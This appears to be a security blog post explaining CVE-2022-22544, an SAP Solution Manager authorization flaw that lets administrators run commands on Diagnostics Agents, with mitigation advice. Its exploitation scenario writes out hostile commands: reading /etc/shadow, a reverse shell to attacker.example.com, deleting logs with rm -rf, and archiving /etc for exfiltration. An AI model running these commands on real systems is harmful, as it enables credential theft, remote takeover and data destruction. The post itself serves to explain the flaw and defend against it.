CVE-2022-22544 is a critical SAP vulnerability that affects the Solution Manager’s “Diagnostics Root Cause Analysis Tools”. Specifically, in Solution Manager version 720, this flaw lets an administrator run arbitrary code on all connected Diagnostics Agents and even browse their files. If exploited, attackers could gain control of managed systems or access sensitive data. The heart of the risk is a missing segregation of duty—meaning, SAP Solution Manager admin privileges are too broad and can be abused for unintended actions.

In this post, I’ll explain how the vulnerability works, demonstrate a code snippet of the risk, detail possible exploits, and give resources for further reading. Everything is laid out with blunt, plain language for clarity.

What is CVE-2022-22544?

CVE-2022-22544 describes an authorization and privilege escalation flaw. In SAP’s Solution Manager (SolMan) version 720, an admin can leverage built-in tools to:

Run OS-level commands on agent machines

This creates a “one admin to rule them all” situation, bad for security because it bypasses the idea of least privilege.

SAP Note:  
- SAP Security Note 3131047

SAP classifies this issue as “Missing Authorization Check” combined with “Improper Privilege Management”.

Impact Overview

- Sensitive information leak: reading files (including credentials, logs, and configs) on agent systems

Denial of service: running destructive commands (e.g., delete critical files)

This risk extends to *every system* managed by your Solution Manager.

How Does the Vulnerability Work?

Solution Manager admins have tools for troubleshooting via the web interface. Some of these “root cause analysis” functions are very powerful—they allow command execution or file browsing on any registered Diagnostics Agent.

Normally, you expect even an admin to enter credentials or get explicit authorization before affecting another system. But here, once you’re “admin” on Solution Manager, you can bridge to *all managed servers*, often with no audit trail.

Simple Exploitation Scenario

Attacker gets SolMan admin account (via phishing, weak password, prior compromise).  
She logs onto the Solution Manager Web UI, navigates to the Diagnostics Root Cause Analysis tools, and opens the “OS Command” panel targeting an agent.

She enters a command—for example, to dump the contents of /etc/shadow

cat /etc/shadow

The system executes the command on the Diagnostics Agent host, and returns the result to her browser.

Or, she may upload a reverse shell and run

bash -i >& /dev/tcp/attacker.example.com/4444 >&1

Imagine the backend looks like this (pseudocode)

def execute_on_agent(agent, command, current_user):
    # Expected: check user's rights/authorization
    # Vulnerability: missing proper validation
    if current_user.is_solman_admin():
        result = agent.run_command(command)
        return result
    else:
        raise Exception("User not authorized")

The missing piece? There’s no check if the SolMan admin *should* be allowed to run any code on Diagnostics agents. Admin == total access.

What an Exploit Looks Like

1. Attacker compromises/inherits the Solution Manager admin account.

On the command line, an attack could look like

# From the SolMan Diagnostics UI, select a destructive command
rm -rf /var/log/*

Or, to exfiltrate data

tar czf - /etc | base64


She then downloads and decodes all /etc contents.

Why is This Risky? (Technical Take)

SAP Solution Manager is a privileged orchestrator—it’s supposed to monitor, not control, all other systems. By baking in file and command access by default, SAP empowers any admin to become the single point of failure. If that account is abused, every managed server is at risk.

Mitigation

* Patch immediately:*  
SAP issued a fix in its Security Note. Apply the patch!  
- SAP Note 3131047

*Remove unnecessary admin accounts:*  
Review who really needs SolMan admin, and enforce least privilege.

*Audit admin activities:*  
Monitor and log admin actions. Use anomaly detection for unexpected command runs.

*Network segmentation:*  
Where possible, restrict network access between Solution Manager and Diagnostics Agents to what’s strictly required.

Resources for More Details

- SAP Security Patch Day, February 2022
- Original SAP Note for CVE-2022-22544 (SAP ID required)
- NIST CVE record

Final Thoughts

CVE-2022-22544 shows how dangerous “all-in-one” administrator roles can be in complex enterprise tools like SAP. Always patch quickly, review admin access, and restrict command execution abilities as much as possible.

If you’re running SAP Solution Manager 720 or below—patch now, and rethink who controls your Diagnostics Tools.

*Exclusive for our readers: Share your patch journey or lessons learned in the comments – real-world stories help everyone fight back!*

Timeline

Published on: 02/09/2022 23:15:00 UTC
Last modified on: 08/24/2022 16:15:00 UTC